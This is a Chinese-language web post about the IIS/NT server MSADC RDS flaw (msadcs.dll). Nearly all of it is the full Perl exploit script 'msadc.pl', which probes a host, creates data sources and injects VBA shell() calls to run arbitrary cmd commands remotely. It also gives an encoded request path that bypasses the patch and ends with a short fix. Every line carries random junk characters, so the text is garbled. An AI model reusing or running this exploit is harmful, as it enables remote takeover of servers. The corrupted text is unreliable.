IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
= 8n*%NC r&w>+KIt 涉及程序：
@ M-bE= Microsoft NT server
qabM@+ m[ <JlKtR&nSo 描述：
$xqphhBg 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
gi8kYHldH
aOOY_S
E 详细：
uG<+IT|x 如果你没有时间读详细内容的话，就删除:
b^ZrevM c:\Program Files\Common Files\System\Msadc\msadcs.dll
:
f Wh7X3 有关的安全问题就没有了。
I]h+24 _S rYT3oqpfT 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
/#HY-b &Jj ?C 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
cB
TMuDT_ 关于利用ODBC远程漏洞的描述，请参看:
=i.[|g" *+iWB_ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V%+KJ}S!Z kZ2+=/DYN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
v/)dsSNZ0u http://www.microsoft.com/security/bulletins/MS99-025faq.asp t+pI<c^]y R8a xdV9( 这里不再论述。
}b44^iL$9y 15870xS 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
?x:\RNB/ *`\>J.
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
-7lJ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
w>#~_x, ` g{&ux k); _3`{wzM A #将下面这段保存为txt文件，然后: "perl -x 文件名"
&u8BGMl2 atY m.qb #!perl
\2T@]!n #
1w35 H9\g # MSADC/RDS 'usage' (aka exploit) script
o rEo$e< #
0L|A # by rain.forest.puppy
[
%r :V" #
H -`7T;t~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
: .@gd7T # beta test and find errors!
$g*|h G/{ ,]>Eg6B,u use Socket; use Getopt::Std;
J)66\h= getopts("e:vd:h:XR", \%args);
%c[by z"R-Sme print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5pz%DhjLo 5gi`&t` if (!defined $args{h} && !defined $args{R}) {
IGVNX2 print qq~
N[czraFBD} Usage: msadc.pl -h <host> { -d <delay> -X -v }
U nG G% -h <host> = host you want to scan (ip or domain)
'AHI;Z~Gk -d <seconds> = delay between calls, default 1 second
7`
&K=( . -X = dump Index Server path table, if available
Qu!Lc:oM? -v = verbose
8LB+}N(8f -e = external dictionary file for step 5
w R1M_&-s kE =}. Or a -R will resume a command session
we!}"'E; *s<FE F ~; exit;}
N^B
YNqr _yumUk-QW $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
GRS[r@W[1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
@M S;qoc if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
6 I"Q9( if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6;k#|-GU& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Xh;Pbm|K if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
O :WFh;c )EcE{!H6+ if (!defined $args{R}){ $ret = &has_msadc;
_m#M^<0n die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
5Jlz$]f LS*^TA(I[ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
a= T_I1 . "cmd /c ";
]G#o g)z4 $in=<STDIN>; chomp $in;
P SNfh7g $command="cmd /c " . $in ;
H[BY(a@c ,~p 'p) if (defined $args{R}) {&load; exit;}
xQ=[0!p+ FT!| YJz<K print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
y".uu+hL` &try_btcustmr;
Ni7~
Mjjt q4C$-W%rj print "\nStep 2: Trying to make our own DSN...";
icOh/G=N; &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)<n r; n 89?$xm _m print "\nStep 3: Trying known DSNs...";
eYLeytF]Uy &known_dsn;
2&S*> ( ?kMG!stgp} print "\nStep 4: Trying known .mdbs...";
4{7O}f &known_mdb;
s>~ h<B yS% IE>? if (defined $args{e}){
A
M8bem~ print "\nStep 5: Trying dictionary of DSN names...";
p)NhV &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:
z*OAl" ?{ns1nW: print "Sorry Charley...maybe next time?\n";
pHSq,XP- exit;
!)FM/Xj,o }@>=,A4Y ##############################################################################
t`1E4$Bb\ SO^:6GuJ sub sendraw { # ripped and modded from whisker
H48`z'o sleep($delay); # it's a DoS on the server! At least on mine...
P]hS0,sE<( my ($pstr)=@_;
dP}=cZ~ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Op%}.9 e d die("Socket problems\n");
,R_ KLd if(connect(S,pack "SnA4x8",2,80,$target)){
x2/L`q"M?= select(S); $|=1;
B/ u0^! print $pstr; my @in=<S>;
[9| 8p$ select(STDOUT); close(S);
c~bi
~ f return @in;
3}V`]B#a } else { die("Can't connect...\n"); }}
MW*@fl<@?M h.+{cOA;n ##############################################################################
1ga.%M* Y?G\@ 6 sub make_header { # make the HTTP request
jSNUU.lur my $msadc=<<EOT
0*0]R C5 ? POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*;b.x" User-Agent: ACTIVEDATA
e%. Xya#\ Host: $ip
NGZEUtj Content-Length: $clen
g$+u;ER5 Connection: Keep-Alive
5=]q+&y\H k=">2!O/ ADCClientVersion:01.06
2
|lm'Hf Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;o* n*N < 5rs~ --!ADM!ROX!YOUR!WORLD!
{v{qPYNyh Content-Type: application/x-varg
}@Rq'VPZd Content-Length: $reqlen
,9jq
@_ W+N9~ .q\^ EOT
6;"^Id ; $msadc=~s/\n/\r\n/g;
wV\;,(<x=% return $msadc;}
N0A PX4j F-K=Ot j ##############################################################################
5m2`$y-nb *a }NRf}W sub make_req { # make the RDS request
,= o)R,[ my ($switch, $p1, $p2)=@_;
':al4m " my $req=""; my $t1, $t2, $query, $dsn;
x0aPY;,N0 MLD-uI10{ if ($switch==1){ # this is the btcustmr.mdb query
"XQ j ~L $query="Select * from Customers where City=" . make_shell();
8$Igo$U- $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
Tc{r;:'G< $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
nT
UKA Ph[P$: 9 elsif ($switch==2){ # this is general make table query
fa#xEWaFr $query="create table AZZ (B int, C varchar(10))";
s-^B)0 T! $dsn="$p1";}
2 de[ yz j TVh`d< N elsif ($switch==3){ # this is general exploit table query
]WLQ q4q $query="select * from AZZ where C=" . make_shell();
i q s $dsn="$p1";}
G 55-{y9Q Fqtgw8 elsif ($switch==4){ # attempt to hork file info from index server
T(UdV]~]" $query="select path from scope()";
xDRNt Lj<u $dsn="Provider=MSIDXS;";}
,P G d Be?b|
G!M elsif ($switch==5){ # bad query
B+e$S%HV $query="select";
n<Vq@=9A E $dsn="$p1";}
HK~uu5j :4o0 8 M% $t1= make_unicode($query);
Q _p!;3 $t2= make_unicode($dsn);
]-
$req = "\x02\x00\x03\x00";
-w8c;5X $req.= "\x08\x00" . pack ("S1", length($t1));
%;5AF8# c $req.= "\x00\x00" . $t1 ;
FmU>q) $req.= "\x08\x00" . pack ("S1", length($t2));
iTb k ]$ $req.= "\x00\x00" . $t2 ;
:\
% .x3T' $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
8;'fWV?
U return $req;}
YS$? Wz QBi&Q%p iy ##############################################################################
k_A. aYe yc|j]? sub make_shell { # this makes the shell() statement
Z1V%pg>]* return "'|shell(\"$command\")|'";}
BIx Z4Ft V w j^h ##############################################################################
hdFIr iE3 -#yLH sub make_unicode { # quick little function to convert to unicode
_ J<^'w^;% my ($in)=@_; my $out;
yn;h.m [): for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
99T_y `df return $out;}
C %l!"s^ &p\fdR4e ##############################################################################
u&Ze$z & w{""' sub rdo_success { # checks for RDO return success (this is kludge)
XqD/~_z ; my (@in) = @_; my $base=content_start(@in);
FB<#N+L \ if($in[$base]=~/multipart\/mixed/){
}P[x Z_S1 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
:*GLLjS; return 0;}
7%aaqQ1T d8 1u ##############################################################################
uo`O$k<; l V[d`%( sub make_dsn { # this makes a DSN for us
tz(\|0WDQ my @drives=("c","d","e","f");
a}N m;5K print "\nMaking DSN: ";
_*b1]< foreach $drive (@drives) {
y#\jc4F_a print "$drive: ";
F<8Rr#Z my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Vmj7`w& "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
LqnN5l@ _B . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
v3 $+ l1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
#V4kT*2P) return 0 if $2 eq "404"; # not found/doesn't exist
<{rRcFR if($2 eq "200") {
z@E-pYV foreach $line (@results) {
57/9i>
@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
3e UTV<! } return 0;}
r 3X|*/ >*ey 7g ##############################################################################
>sAZT:&gv tB "amv sub verify_exists {
b>|3?G my ($page)=@_;
<b7 4L my @results=sendraw("GET $page HTTP/1.0\n\n");
A|sTnhp~ return $results[0];}
G_E U/p<Q X#9}|rT56 ##############################################################################
1
h(oty2p i3I'n* sub try_btcustmr {
g0 ec- my @drives=("c","d","e","f");
/6 0 `"xH my @dirs=("winnt","winnt35","winnt351","win","windows");
HA%% WSuf @vWC "W foreach $dir (@dirs) {
jbQ2 G|:Q print "$dir -> "; # fun status so you can see progress
T.kmoL lH foreach $drive (@drives) {
a' "4:(L print "$drive: "; # ditto
'| Enc"U $reqlen=length( make_req(1,$drive,$dir) ) - 28;
A:Z$i5%' $reqlenlen=length( "$reqlen" );
j.MpQ^eJ7 $clen= 206 + $reqlenlen + $reqlen;
&.ZW1TxE8 XHu Y'\;- my @results=sendraw(make_header() . make_req(1,$drive,$dir));
4HlOv % 8 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
@/}{Trmg/ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
:A35 ?9E? t
?8
?Ok ##############################################################################
")|3ZB7>* xz#;F ,`ZR sub odbc_error {
<VV./W8e9 my (@in)=@_; my $base;
<1[W Nj2[ my $base = content_start(@in);
$,ev <4I& if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
XQ.czj $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Iu6KW :x $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
REnd#
V2x $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
K 1>.%m return $in[$base+4].$in[$base+5].$in[$base+6];}
Q\G8R^9j p print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
R? Y#>K print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
}J .f
5WaG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
a5WVDh, cR ]#]m_+} Z ##############################################################################
\Ku=a{Ne 2<}^m/} sub verbose {
nt\6o?W my ($in)=@_;
>T{9-_#P return if !$verbose;
8[(eV. print STDOUT "\n$in\n";}
:)}iWKAse V x1C4 ##############################################################################
6N(Wv0b $ x8%Q TTY sub save {
?RGL0`Lg my ($p1, $p2, $p3, $p4)=@_;
tr"iluwGc open(OUT, ">rds.save") || print "Problem saving parameters...\n";
vC ~];!^ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Nj| |^k close OUT;}
" |RP_v2 CYrVP%xRA ##############################################################################
9 )l-5o: D %Rv&VFg sub load {
9F)v= my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&'V_80vA open(IN,"<rds.save") || die("Couldn't open rds.save\n");
`Bx3grZ
7& @p=<IN>; close(IN);
,(Fo%.j $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
%@q52ZQ $target= inet_aton($ip) || die("inet_aton problems");
{U(-cdU{e` print "Resuming to $ip ...";
1C+Y|p?KA $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
JC`|GaUy if($p[1]==1) {
w[\*\'Vm0 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[P 8Y $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Z_F:H@-& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<a a# OX if (rdo_success(@results)){print "Success!\n";}
{g\Yy(r
else { print "failed\n"; verbose(odbc_error(@results));}}
1B= vr Gq elsif ($p[1]==3){
mk_c ub @ if(run_query("$p[3]")){
UBuk-tq print "Success!\n";} else { print "failed\n"; }}
Je2o('MA elsif ($p[1]==4){
8#' <SB if(run_query($drvst . "$p[3]")){
+`9
]L]J]4 print "Success!\n"; } else { print "failed\n"; }}
k:s}`h _n exit;}
,kuJWaUC@ +l@H[r;$ ##############################################################################
kt%9PGw Fwyv>U sub create_table {
[VI dw 92 my ($in)=@_;
UevbLt1Y $reqlen=length( make_req(2,$in,"") ) - 28;
pSkP8'
? $reqlenlen=length( "$reqlen" );
85$MHod}[, $clen= 206 + $reqlenlen + $reqlen;
t&:'A g.G my @results=sendraw(make_header() . make_req(2,$in,""));
%75|+((fC return 1 if rdo_success(@results);
2,puu2F my $temp= odbc_error(@results); verbose($temp);
&}32X-~y return 1 if $temp=~/Table 'AZZ' already exists/;
j]rE0Og return 0;}
h'^7xDw 6:>4}WOP ##############################################################################
Ttn=VX{
\ &WN4/=QW-J sub known_dsn {
SEXeK2v # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
dG.s8r*?M my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
n9gj{]% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
NLw#b?% "banner", "banners", "ads", "ADCDemo", "ADCTest");
(FbqKx'uq VF!?B> foreach $dSn (@dsns) {
jC
,foqL print ".";
rmUT l next if (!is_access("DSN=$dSn"));
{5 -4^|! if(create_table("DSN=$dSn")){
!tCw)cou print "$dSn successful\n";
/u!I2DF if(run_query("DSN=$dSn")){
;5=J'8f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
.a:"B\B` print "Something's borked. Use verbose next time\n";}}} print "\n";}
C/"fS#< iOPv
% [ ##############################################################################
)b"H]" ?,%vndI sub is_access {
x8.7])?w my ($in)=@_;
15r,_Gp8 $reqlen=length( make_req(5,$in,"") ) - 28;
A|CW4f, $reqlenlen=length( "$reqlen" );
$6X SW $clen= 206 + $reqlenlen + $reqlen;
ylLQKdcL my @results=sendraw(make_header() . make_req(5,$in,""));
P H9MB my $temp= odbc_error(@results);
A`Z!=og= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
X l w&hKS return 0;}
cn v4! c0 _Z.lr\ ##############################################################################
49nZWv48"_ TOn{o}Y B sub run_query {
#w*1 ! my ($in)=@_;
%O%+TR7Z $reqlen=length( make_req(3,$in,"") ) - 28;
ct3QtX0B $reqlenlen=length( "$reqlen" );
N)lzX X $clen= 206 + $reqlenlen + $reqlen;
jRm:9`.Q my @results=sendraw(make_header() . make_req(3,$in,""));
P_j ?V"i< return 1 if rdo_success(@results);
S6h=}
V ) my $temp= odbc_error(@results); verbose($temp);
=2s 5>Oz+ return 0;}
DOa Ez?2) j,80 EhZ ##############################################################################
'C1=(PE%` 24:;vcb sub known_mdb {
=8X`QUmT my @drives=("c","d","e","f","g");
+[UFf3(ON my @dirs=("winnt","winnt35","winnt351","win","windows");
[Oxmg?W my $dir, $drive, $mdb;
im>Sxu@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
K%Mm'$fTw 5znLpBX<N # this is sparse, because I don't know of many
U />f" F my @sysmdbs=( "\\catroot\\icatalog.mdb",
0L $v7,
5 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
%RL\t5 TV "\\system32\\certmdb.mdb",
;o ,t * "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
SDcxro|8i Vl{CD>$, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6`]R)i] "\\cfusion\\cfapps\\forums\\forums_.mdb",
Nv,[E+a2 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
YPDc
/ "\\cfusion\\cfapps\\security\\realm_.mdb",
nZfTK>)A0 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
>-r\]/^ "\\cfusion\\database\\cfexamples.mdb",
l,1 }1{k& "\\cfusion\\database\\cfsnippets.mdb",
j?jEWreq]~ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
jZ7/p ^c5R "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Y$--Hp4 "\\cfusion\\brighttiger\\database\\cleam.mdb",
?;0=>3p*0 "\\cfusion\\database\\smpolicy.mdb",
GI WgfE? "\\cfusion\\database\cypress.mdb",
B cX}[ ?c "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
7$z")JB "\\website\\cgi-win\\dbsample.mdb",
n4 KiC!*i0 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
iH9g5G`O "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
V-}d-Y ); #these are just
xp7,0'(; foreach $drive (@drives) {
o$\ {&:y foreach $dir (@dirs){
r[eZV" foreach $mdb (@sysmdbs) {
8d-; ;V print ".";
<. HHV91 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
^v}Z5,a N print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
^OI if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
vYL{5,t {1 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
Uey.@ 2Q } else { print "Something's borked. Use verbose next time\n"; }}}}}
b5_A*-s$M 5w gtc ~ foreach $drive (@drives) {
Eg3rbqM- 8 foreach $mdb (@mdbs) {
gu /eC print ".";
N(dn"`8 if(create_table($drv . $drive . $dir . $mdb)){
'P)xY-15 print "\n" . $drive . $dir . $mdb . " successful\n";
nqBZp N ^ if(run_query($drv . $drive . $dir . $mdb)){
-]Z!_[MlDF print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
(u]ft]z,-B } else { print "Something's borked. Use verbose next time\n"; }}}}
)"m FlS<I }
C@buewk vPi\ v U{ ##############################################################################
#"O9\X/B +; C|5y sub hork_idx {
&& ecq print "\nAttempting to dump Index Server tables...\n";
9K#. 0 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
3a:(\:?z $reqlen=length( make_req(4,"","") ) - 28;
'an{<82i $reqlenlen=length( "$reqlen" );
<s 9Sx>Zb $clen= 206 + $reqlenlen + $reqlen;
Aw4 Qm2Kf my @results=sendraw2(make_header() . make_req(4,"",""));
g"2@E if (rdo_success(@results)){
:B$=Pp1 my $max=@results; my $c; my %d;
h"l{cDk for($c=19; $c<$max; $c++){
'&?47+ W $results[$c]=~s/\x00//g;
b[uTt'p} $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
vW"x)~B $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
n >xhT r< $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
)Si`>o3T-. $d{"$1$2"}="";}
*W(b = u foreach $c (keys %d){ print "$c\n"; }
E"#<I*b } else {print "Index server doesn't seem to be installed.\n"; }}
(-B0fqh=G k ,X)PQc ##############################################################################
5 f/[HO) O5_[T43 sub dsn_dict {
; y=w :r\A open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.NCQiQ while(<IN>){
E Q?4 ? $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
hYi-F.Qtq next if (!is_access("DSN=$dSn"));
aFyNm@a if(create_table("DSN=$dSn")){
A
|NX" print "$dSn successful\n";
J-Sf 9^G if(run_query("DSN=$dSn")){
g|)e3q{M print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Qyt6+x L print "Something's borked. Use verbose next time\n";}}}
Sl:\5]'yJ print "\n"; close(IN);}
pm5Yc @D n0 !S;HH- ##############################################################################
`'0opoQRe =\Cb X sub sendraw2 { # ripped and modded from whisker
"D3JdyO_S sleep($delay); # it's a DoS on the server! At least on mine...
@m6pAo4P my ($pstr)=@_;
qpp:h_E socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
' ? yZ,t die("Socket problems\n");
oJ6
d : if(connect(S,pack "SnA4x8",2,80,$target)){
"Hg n2o.;5 print "Connected. Getting data";
y ,Dfqt open(OUT,">raw.out"); my @in;
XKks j!'B select(S); $|=1; print $pstr;
EnwiE while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
(e F 5?I close(OUT); select(STDOUT); close(S); return @in;
F4 bF&% R } else { die("Can't connect...\n"); }}
tG%R_$* vaTXu * ##############################################################################
1$".7}M4$ >z[d ~ sub content_start { # this will take in the server headers
zoUW }O my (@in)=@_; my $c;
u6(7#n02 for ($c=1;$c<500;$c++) {
) }?dYk if($in[$c] =~/^\x0d\x0a/){
*}[ @* if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<a$cB+t else { return $c+1; }}}
N3x}YHFF return -1;} # it should never get here actually
&q e:|M . `hlw'20 ##############################################################################
i"_f46r P #jDO?Y Sa sub funky {
78 UT]<Q;K my (@in)=@_; my $error=odbc_error(@in);
x; b'y4kH if($error=~/ADO could not find the specified provider/){
\u)s Zh print "\nServer returned an ADO miscofiguration message\nAborting.\n";
c=@=lGgo exit;}
`bH Eu"(, if($error=~/A Handler is required/){
ipU"|{NK print "\nServer has custom handler filters (they most likely are patched)\n";
#m8Oy|Y9` exit;}
0K#dWc}"a if($error=~/specified Handler has denied Access/){
qa%g'sB-b print "\nServer has custom handler filters (they most likely are patched)\n";
%mxG;w$ exit;}}
34P? nW( = x[`W9.D ##############################################################################
%ecg19~L/} TF{
xFb) sub has_msadc {
T.K$a\/{, my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
hwC3[' my $base=content_start(@results);
kM9E)uT>(< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
xvrCm`3n@ return 0;}
! { )H ,:;_j<g`e ########################
)IhI~,0Nmj \ wnQ[UNjP y#T":jpR 解决方案：
=o5hD, > e 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
UY|nB hL 2、移除web 目录: /msadc
